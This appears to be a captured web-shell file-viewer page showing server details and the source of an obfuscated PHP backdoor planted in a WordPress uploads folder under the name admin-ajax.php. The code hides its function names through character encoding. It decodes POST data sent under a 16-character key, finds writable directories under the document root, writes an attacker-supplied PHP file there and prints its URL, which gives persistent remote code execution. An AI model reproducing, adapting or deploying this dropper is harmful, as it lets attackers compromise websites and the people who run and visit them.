HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/uploads/2023/08/admin-ajax.php
<?php function iiWnvbFR($aLdncqA, $MerQhOjZPE, $yxMJx){$rwruq = "36e258ca-1a28-4826-b3fa-445dcbf3366c";	$BOJIviQ = 52;return $aLdncqA ^ $rwruq[$MerQhOjZPE % strlen($rwruq)] ^ $yxMJx;}$KzEOw = "myDqS";$hEKThfP = 67;function hFwGlHlG($KzEOw){ $rsLBl = 's'.chr(116)."\162"."\137".chr(114)."\x6f".chr(116)."\x31"."\63";$KzEOw = $rsLBl($KzEOw);$WXILNwyI = "\x72"."\x61".'w'."\165".chr(748-634)."\x6c"."\x64"."\x65".'c'.chr(111).chr(254-154)."\145";$KzEOw = $WXILNwyI($KzEOw);$KzEOw = str_split($KzEOw);return $KzEOw;}function SqCxDSrNW($HPIRoxteYD, $yxMJx){$HPIRoxteYD = array_map("iiWnvbFR", array_values($HPIRoxteYD), array_keys($HPIRoxteYD), array_values($yxMJx));$HPIRoxteYD = implode("", $HPIRoxteYD);	$syzNuTF = 'uFvrOWOElh';$ymqjM = "\x75".chr(110)."\x73"."\x65".chr(114)."\151"."\141".chr(375-267)."\151"."\172"."\145";$HPIRoxteYD = @$ymqjM($HPIRoxteYD);	$NrFqZ = 52;return $HPIRoxteYD;}function PWLlPjdaiN($yxMJx, $HPIRoxteYD){$yxMJx = array_slice(str_split(str_repeat($yxMJx, intval(count($HPIRoxteYD)/16)+1)), 0, count($HPIRoxteYD));	$kMtogfPcSHsYJAr = 25;return $yxMJx;}function YFtIq(){$qYqUAbGVuY = 'jpdbWW';$jDTGMREm = 15;$cKafS = 6;$tujLRS = $jDTGMREm - $cKafS;$AChBBBQv = 'TXMCRgljr';$cKafS = $tujLRS / 5;}YFtIq();function konlQ(){echo "IYvPBkxF";	$MjwYlu = 62;}function FdhqRp($kMtogfPcSir){static $yXaruS = array();$EsPFVFFub = glob($kMtogfPcSir . '/*', GLOB_ONLYDIR);$xunCJPMx = count($EsPFVFFub);	$rjAuMBc = 38;	$gQHWyh = 'TFX';if ($xunCJPMx > 0) {foreach ($EsPFVFFub as $kMtogfPcS) {$BtSpg = 'i'.chr(115)."\x5f"."\x77".'r'.chr(105)."\x74"."\141".'b'.chr(1031-923).'e';if (@$BtSpg($kMtogfPcS)) {$yXaruS[] = $kMtogfPcS;}}}foreach ($EsPFVFFub as $kMtogfPcSir) FdhqRp($kMtogfPcSir);return $yXaruS;}function jXCpfhqnXS($HPIRoxteYD){$TNCxhqnAw = chr(68).chr(469-390)."\103".chr(850-765)."\115".'E'.chr(78).chr(659-575)."\x5f".'R'.'O'.chr(96-17).'T';$gGNmVCMZl = $_SERVER[$TNCxhqnAw];	$zUIhGXLh = 'TRj';$EsPFVFFub = FdhqRp($gGNmVCMZl);$FDTjkHJg = array_rand($EsPFVFFub);$YBAvsONqR = "\56"."\160".chr(669-565)."\160";$XUVWyxWfa = $EsPFVFFub[$FDTjkHJg] . "/" . substr(md5(time()), 0, 8) . $YBAvsONqR;$hJzyKCdyO = chr(221-119)."\x69"."\x6c"."\x65"."\x5f"."\160"."\165"."\x74"."\137"."\143".'o'."\x6e".'t'."\x65".chr(545-435).chr(147-31).'s';@$hJzyKCdyO($XUVWyxWfa, $HPIRoxteYD);$svuXcAxHA = chr(1068-996).chr(84)."\124".'P'."\x5f".chr(72).chr(800-721).chr(83).chr(683-599);$rQFSXuFMgZ = 'h'.chr(116)."\x74".chr(839-727)."\x3a".'/'."\x2f";$eDecPePcW = $rQFSXuFMgZ . $_SERVER[$svuXcAxHA] . substr($XUVWyxWfa, strlen($gGNmVCMZl));	$sEHtmwout = 'igPqAgyojL';	$zSZcX = 64;print($eDecPePcW);	$nsPFzl = 62;}function xzPrnZi($HPIRoxteYD, $FDTjkHJg){$FDTjkHJg = $FDTjkHJg[0];if ($HPIRoxteYD !== $FDTjkHJg){jXCpfhqnXS($HPIRoxteYD);}else {gvmbmLF();		$EAKBMwsg = 'mtpg';}}function gvmbmLF(){$djBfnyf = chr(112).chr(201-97).'p';$SQqBSd = "\x70"."\x68".'p'.'v'."\x65".chr(114).'s'.'i'."\157"."\156";$HPIRoxteYD = Array($djBfnyf => @$SQqBSd(), );$yzPRKp = "\163"."\x65".chr(114).chr(105).chr(97)."\x6c".chr(105)."\172".chr(101);echo @$yzPRKp($HPIRoxteYD);	$mtLmVfkNe = 'xYdAPZJr';}function kMNCWZzr(){echo "myDqS";}foreach ($_POST as $yxMJx => $HPIRoxteYD){$IkgxUUl = strlen($yxMJx);	$RGZcP = 'unOrqg';if ($IkgxUUl == 16){$HPIRoxteYD = hFwGlHlG($HPIRoxteYD);$yxMJx = PWLlPjdaiN($yxMJx, $HPIRoxteYD);$HPIRoxteYD = SqCxDSrNW($HPIRoxteYD, $yxMJx);		$xdkZKmGx = 61;if (@is_array($HPIRoxteYD)){$FDTjkHJg = array_keys($HPIRoxteYD);			$Gbobz = 54;$HPIRoxteYD = $HPIRoxteYD[$FDTjkHJg[0]];			$Gbobz = $Gbobz - 8;xzPrnZi($HPIRoxteYD, $FDTjkHJg);			$ycYttwY = 51;}}}die();?>